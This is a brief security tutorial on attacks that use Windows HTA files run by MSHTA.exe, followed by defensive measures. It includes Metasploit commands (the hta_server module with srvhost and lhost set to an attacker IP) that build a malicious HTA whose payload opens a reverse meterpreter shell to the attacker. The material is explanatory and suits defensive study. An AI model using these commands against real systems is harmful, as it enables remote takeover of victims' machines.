Hacking with HTA file (MSHTA.exe)

The Windows OS utility MSHTA.exe is responsible for running HTA (HTML Application) files that can execute JavaScript or VBScript code. These files can be interpreted and executed using the Microsoft MSHTA.exe tool, making them a potential attack vector for malicious activities.

Metasploit HTA Web Server Module

Metasploit Framework contains the HTA Web Server module which generates malicious HTA files. This module hosts an HTML Application that, when opened, executes a payload via PowerShell, establishing a reverse connection to the attacker's machine.

Generating Malicious HTA File

To create a malicious HTA file using Metasploit in Kali Linux, execute the following commands:

use exploit/windows/misc/hta_server
set srvhost 192.168.1.109
set lhost 192.168.1.109
exploit

These commands configure the HTA server module to listen on the specified IP address and generate a malicious HTA file that connects back to the attacker's machine.

Execution on Target Machine

Once the malicious HTA file is generated and hosted, it can be executed on the victim's machine using the mshta.exe utility. When successfully executed, this establishes a meterpreter session, providing the attacker with remote access to the compromised system.

Defense Considerations

• Application whitelisting − Restrict execution of MSHTA.exe or allow only trusted HTA files

• Network monitoring − Monitor for suspicious outbound connections from MSHTA processes

• Email filtering − Block HTA file attachments in email security solutions

• User education − Train users to recognize and avoid suspicious HTA files

Conclusion

HTA files executed via MSHTA.exe represent a significant security risk as they can run scripts with the same privileges as the user. Understanding this attack vector helps organizations implement appropriate defenses and security controls.